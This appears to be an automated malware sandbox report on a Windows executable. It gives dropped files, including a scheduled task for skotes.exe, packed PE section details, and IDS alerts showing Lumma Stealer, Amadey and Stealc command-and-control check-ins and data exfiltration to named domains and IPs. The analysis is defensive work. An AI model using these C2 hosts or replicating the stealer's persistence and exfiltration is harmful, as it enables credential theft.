Preview:	{"environment":{"locale":"en-US","localeLanguageCode":"en","browserSettings":{"update":{"channel":"release","enabled":true,"autoDownload":true,"background":true}},"attributionData":{"campaign":"%2528not%2Bset%2529","content":"%2528not%2Bset%2529","dlsource":"mozorg","dltoken":"cd09ae95-e2cf-4b8b-8929-791b0dd48cdd","experiment":"%2528not%2Bset%2529","medium":"referral","source":"www.google.com","ua":"chrome","variation":"%2528not%2Bset%2529"},"currentDate":"2024-10-31T04:32:46.472Z","profileAgeCreated":1696333826043,"usesFirefoxSync":false,"isFxAEnabled":true,"isFxASignedIn":false,"sync":{"desktopDevices":0,"mobileDevices":0,"totalDevices":0},"xpinstallEnabled":true,"addonsInfo":{"addons":{"formautofill@mozilla.org":{"version":"1.0.1","type":"extension","isSystem":true,"isWebExtension":true,"name":"Form Autofill","userDisabled":false,"installDate":"2023-09-28T01:41:23.000Z"},"pictureinpicture@mozilla.org":{"version":"1.0.0","type":"extension","isSystem":true,"isWebExtension":true,"name"

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\targeting.snapshot.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4538
Entropy (8bit):	5.034304929582319
Encrypted:	false
SSDEEP:	48:YrSAYnUH6UQZpExB1+anOsW4Vh351VxWRzzc8eYMsku7f86SLAVL7if5Ftsfbcb5:ycUHyTEr5QFRzzcMvbw6KkCrmc2Rn27
MD5:	AEBB9DF10C145CC8086C4683FB10EC63
SHA1:	F662388625B80B64B759CA85F2DA9C4F9B250642
SHA-256:	324A096BD07E80E70DD89E2AA2C502B9380663FF608ECD1DECD9332FB7BF5E31
SHA-512:	53175CA3C6CA1263E18FC5CBE52DC7693CB2F62C04F2217D97D4ECD77E3B8EB6BAC690D78E86E8CFA9FFA02AAC422F0A1FA8ACE7C145753D3FA74A4679269154
Malicious:	false
Preview:	{"environment":{"locale":"en-US","localeLanguageCode":"en","browserSettings":{"update":{"channel":"release","enabled":true,"autoDownload":true,"background":true}},"attributionData":{"campaign":"%2528not%2Bset%2529","content":"%2528not%2Bset%2529","dlsource":"mozorg","dltoken":"cd09ae95-e2cf-4b8b-8929-791b0dd48cdd","experiment":"%2528not%2Bset%2529","medium":"referral","source":"www.google.com","ua":"chrome","variation":"%2528not%2Bset%2529"},"currentDate":"2024-10-31T04:32:46.472Z","profileAgeCreated":1696333826043,"usesFirefoxSync":false,"isFxAEnabled":true,"isFxASignedIn":false,"sync":{"desktopDevices":0,"mobileDevices":0,"totalDevices":0},"xpinstallEnabled":true,"addonsInfo":{"addons":{"formautofill@mozilla.org":{"version":"1.0.1","type":"extension","isSystem":true,"isWebExtension":true,"name":"Form Autofill","userDisabled":false,"installDate":"2023-09-28T01:41:23.000Z"},"pictureinpicture@mozilla.org":{"version":"1.0.0","type":"extension","isSystem":true,"isWebExtension":true,"name"

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe
File Type:	data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.4012587809509407
Encrypted:	false
SSDEEP:	6:Zm5iMvXflNeRKUEZ+lX1CGdKUe6tPjgsW2YRZuy0lR0ut0:ZOPf2RKQ1CGAFAjzvYRQVR0ut0
MD5:	F6D83D2B0E63B23CF4D03C6997A020DF
SHA1:	0D6466247C160DF2DD0C11F7EEF40A5A3615CE93
SHA-256:	F2FB856357B174AC05FC2D08921A324DD3496EA6B3D58DB88804DD775C28EDF5
SHA-512:	653DB236B34AF5828AA90C106BAB5CD266282A4ABA70960CA6FE880532F48AAD7EE70FF0B11F7DC776C501048CE1B8E1CD4C5023570F2A8B4FFE4A3058B84372
Malicious:	false
Preview:	....G.g..-E...Z.m..F.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.531861544871239
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	3'003'904 bytes
MD5:	7bd9ddf41cf8c2451e6e75242febfda1
SHA1:	94af38e810957befdd50512626f3aab2d1864598
SHA256:	97fd020744b762f6103a7712a182af2161557bae49cae9772c2a9b5ebad82513
SHA512:	8736a28780dd1c9f5f924e350ab87b1e0469c2f1397b21974f1b190e7281d85aa75cea51619c6941c87a308641eeb80a5cb14ac8b4b15298a548d6108d08cf0a
SSDEEP:	49152:4UuzPIX8kpzEeWJOvIkW1TM5K6JOr1ij22tl:4UuzPI8kpzlWJOv5W1o5DiijBtl
TLSH:	C5D56DA2B84DB2CFE49E1774D427CD82595D43F90B1108E3A96C74BABEA3CC119F6D24
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............0...........@...........................1......"....@.................................T...h..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x70e000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6715D353 [Mon Oct 21 04:06:43 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F8560F9BE7Ah
lfs ebp, dword ptr [00000000h]
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5a054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x59000	0x340	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5a1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x58000	0x27e00	9ccb5130a31da57394d5ca016f556bf9	False	0.9980285070532915	data	7.974910173943292	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x59000	0x340	0x400	914cd139a383496d0085d499d138ef92	False	0.390625	data	4.997389973748798	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5a000	0x1000	0x200	555a11fa24a077379003c187d9c9d020	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
pfboyhbl	0x5b000	0x2b2000	0x2b1a00	ec1af3c3587e183b60bf3180f859bd34	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
mirdfaun	0x30d000	0x1000	0x600	0e44b00632636353299e7b95965ce78a	False	0.5885416666666666	data	5.017871955362002	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x30e000	0x3000	0x2200	0241be1b6d4a8f07082b0f6aa47bac7d	False	0.05710018382352941	DOS executable (COM)	0.7620225781314612	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x59058	0x2e6	XML 1.0 document, ASCII text, with CRLF line terminators			0.45417789757412397

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-31T04:14:55.569114+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.4	53325	1.1.1.1	53	UDP
2024-10-31T04:14:55.583137+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.4	63537	1.1.1.1	53	UDP
2024-10-31T04:14:55.594601+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.4	61756	1.1.1.1	53	UDP
2024-10-31T04:14:55.604842+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.4	54763	1.1.1.1	53	UDP
2024-10-31T04:14:55.615388+0100	2057123	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)	1	192.168.2.4	58458	1.1.1.1	53	UDP
2024-10-31T04:14:56.263375+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49730	188.114.97.3	443	TCP
2024-10-31T04:14:56.932961+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49730	188.114.97.3	443	TCP
2024-10-31T04:14:56.932961+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49730	188.114.97.3	443	TCP
2024-10-31T04:14:57.577560+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49731	188.114.97.3	443	TCP
2024-10-31T04:14:58.017276+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49731	188.114.97.3	443	TCP
2024-10-31T04:14:58.017276+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49731	188.114.97.3	443	TCP
2024-10-31T04:14:58.869607+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49732	188.114.97.3	443	TCP
2024-10-31T04:14:59.489166+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49732	188.114.97.3	443	TCP
2024-10-31T04:15:00.446701+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49733	188.114.97.3	443	TCP
2024-10-31T04:15:01.840353+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49734	188.114.97.3	443	TCP
2024-10-31T04:15:03.657597+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49735	188.114.97.3	443	TCP
2024-10-31T04:15:05.011366+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49736	188.114.97.3	443	TCP
2024-10-31T04:15:09.084682+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49737	188.114.97.3	443	TCP
2024-10-31T04:15:09.540155+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49737	188.114.97.3	443	TCP
2024-10-31T04:15:10.787134+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	49738	185.215.113.16	80	TCP
2024-10-31T04:16:05.236707+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	49792	185.215.113.43	80	TCP
2024-10-31T04:16:08.599595+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49814	185.215.113.16	80	TCP
2024-10-31T04:16:12.956938+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.4	55872	1.1.1.1	53	UDP
2024-10-31T04:16:12.970589+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.4	64014	1.1.1.1	53	UDP
2024-10-31T04:16:12.981398+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.4	64481	1.1.1.1	53	UDP
2024-10-31T04:16:12.991443+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	49808	TCP
2024-10-31T04:16:12.993087+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.4	49516	1.1.1.1	53	UDP
2024-10-31T04:16:13.638134+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49843	188.114.97.3	443	TCP
2024-10-31T04:16:13.888724+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49842	185.215.113.43	80	TCP
2024-10-31T04:16:14.177925+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49843	188.114.97.3	443	TCP
2024-10-31T04:16:14.177925+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49843	188.114.97.3	443	TCP
2024-10-31T04:16:14.830578+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49852	188.114.97.3	443	TCP
2024-10-31T04:16:14.979521+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49849	185.215.113.16	80	TCP
2024-10-31T04:16:15.314322+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49852	188.114.97.3	443	TCP
2024-10-31T04:16:15.314322+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49852	188.114.97.3	443	TCP
2024-10-31T04:16:16.234014+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49860	188.114.97.3	443	TCP
2024-10-31T04:16:17.453496+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49868	188.114.97.3	443	TCP
2024-10-31T04:16:19.349837+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49878	188.114.97.3	443	TCP
2024-10-31T04:16:21.017771+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49884	185.215.113.43	80	TCP
2024-10-31T04:16:21.733201+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49890	185.215.113.206	80	TCP
2024-10-31T04:16:21.811520+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49893	188.114.97.3	443	TCP
2024-10-31T04:16:21.964030+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49891	185.215.113.16	80	TCP
2024-10-31T04:16:22.134438+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49893	188.114.97.3	443	TCP
2024-10-31T04:16:23.725153+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49904	188.114.97.3	443	TCP
2024-10-31T04:16:25.879579+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.4	60841	1.1.1.1	53	UDP
2024-10-31T04:16:25.893850+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.4	52609	1.1.1.1	53	UDP
2024-10-31T04:16:25.904646+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.4	64988	1.1.1.1	53	UDP
2024-10-31T04:16:25.915406+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.4	51905	1.1.1.1	53	UDP
2024-10-31T04:16:26.411022+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49916	185.215.113.43	80	TCP
2024-10-31T04:16:26.454397+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49919	188.114.97.3	443	TCP
2024-10-31T04:16:26.540327+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49921	188.114.97.3	443	TCP
2024-10-31T04:16:27.033975+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49921	188.114.97.3	443	TCP
2024-10-31T04:16:27.033975+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49921	188.114.97.3	443	TCP
2024-10-31T04:16:27.127902+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49919	188.114.97.3	443	TCP
2024-10-31T04:16:27.336634+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49924	185.215.113.16	80	TCP
2024-10-31T04:16:27.336634+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	49924	185.215.113.16	80	TCP
2024-10-31T04:16:27.763978+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49931	188.114.97.3	443	TCP
2024-10-31T04:16:28.093386+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49931	188.114.97.3	443	TCP
2024-10-31T04:16:28.093386+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49931	188.114.97.3	443	TCP
2024-10-31T04:16:28.223438+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	49930	185.215.113.16	80	TCP
2024-10-31T04:16:29.486345+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49943	188.114.97.3	443	TCP
2024-10-31T04:16:30.416638+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49945	185.215.113.206	80	TCP
2024-10-31T04:16:31.365063+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49960	188.114.97.3	443	TCP
2024-10-31T04:16:31.660840+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49959	185.215.113.43	80	TCP
2024-10-31T04:16:34.844402+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49979	188.114.97.3	443	TCP
2024-10-31T04:16:37.199238+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49994	185.215.113.206	80	TCP
2024-10-31T04:16:38.228466+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	50008	188.114.97.3	443	TCP
2024-10-31T04:16:40.550329+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	50033	188.114.97.3	443	TCP
2024-10-31T04:16:41.387251+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	50033	188.114.97.3	443	TCP
2024-10-31T04:16:42.382047+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	50043	188.114.97.3	443	TCP
2024-10-31T04:16:42.822256+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50043	188.114.97.3	443	TCP
2024-10-31T04:16:43.816329+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	50050	185.215.113.16	80	TCP
2024-10-31T04:16:51.241008+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50071	185.215.113.206	80	TCP
2024-10-31T04:16:58.970112+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.4	59249	1.1.1.1	53	UDP
2024-10-31T04:16:58.989316+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.4	63867	1.1.1.1	53	UDP
2024-10-31T04:16:58.999232+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.4	49153	1.1.1.1	53	UDP
2024-10-31T04:16:59.009299+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.4	54906	1.1.1.1	53	UDP
2024-10-31T04:16:59.637272+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	58616	188.114.97.3	443	TCP
2024-10-31T04:17:00.133834+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	58616	188.114.97.3	443	TCP
2024-10-31T04:17:00.133834+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	58616	188.114.97.3	443	TCP
2024-10-31T04:17:00.803022+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	58618	188.114.97.3	443	TCP
2024-10-31T04:17:01.491206+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	58618	188.114.97.3	443	TCP
2024-10-31T04:17:01.491206+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	58618	188.114.97.3	443	TCP
2024-10-31T04:17:02.257322+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	58620	188.114.97.3	443	TCP
2024-10-31T04:17:03.553170+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	58621	188.114.97.3	443	TCP
2024-10-31T04:17:04.989905+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	58623	188.114.97.3	443	TCP
2024-10-31T04:17:07.177732+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	58624	188.114.97.3	443	TCP
2024-10-31T04:17:07.839230+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	58624	188.114.97.3	443	TCP
2024-10-31T04:17:08.827898+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	58627	188.114.97.3	443	TCP
2024-10-31T04:17:09.218535+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	58626	185.215.113.206	80	TCP
2024-10-31T04:17:09.494225+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	58627	188.114.97.3	443	TCP
2024-10-31T04:17:10.111803+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	58629	188.114.97.3	443	TCP
2024-10-31T04:17:10.575184+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	58629	188.114.97.3	443	TCP
2024-10-31T04:17:11.512771+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	58630	185.215.113.16	80	TCP
2024-10-31T04:17:24.932878+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	58669	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 31, 2024 04:14:55.632292986 CET	49730	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:14:55.632390976 CET	443	49730	188.114.97.3	192.168.2.4
Oct 31, 2024 04:14:55.632496119 CET	49730	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:14:55.635200977 CET	49730	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:14:55.635252953 CET	443	49730	188.114.97.3	192.168.2.4
Oct 31, 2024 04:14:56.263273001 CET	443	49730	188.114.97.3	192.168.2.4
Oct 31, 2024 04:14:56.263375044 CET	49730	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:14:56.335406065 CET	49730	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:14:56.335453033 CET	443	49730	188.114.97.3	192.168.2.4
Oct 31, 2024 04:14:56.335731983 CET	443	49730	188.114.97.3	192.168.2.4
Oct 31, 2024 04:14:56.376127005 CET	49730	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:14:56.462577105 CET	49730	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:14:56.462577105 CET	49730	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:14:56.462719917 CET	443	49730	188.114.97.3	192.168.2.4
Oct 31, 2024 04:14:56.932967901 CET	443	49730	188.114.97.3	192.168.2.4
Oct 31, 2024 04:14:56.933046103 CET	443	49730	188.114.97.3	192.168.2.4
Oct 31, 2024 04:14:56.933103085 CET	49730	443	192.168.2.4	188.114.97.3
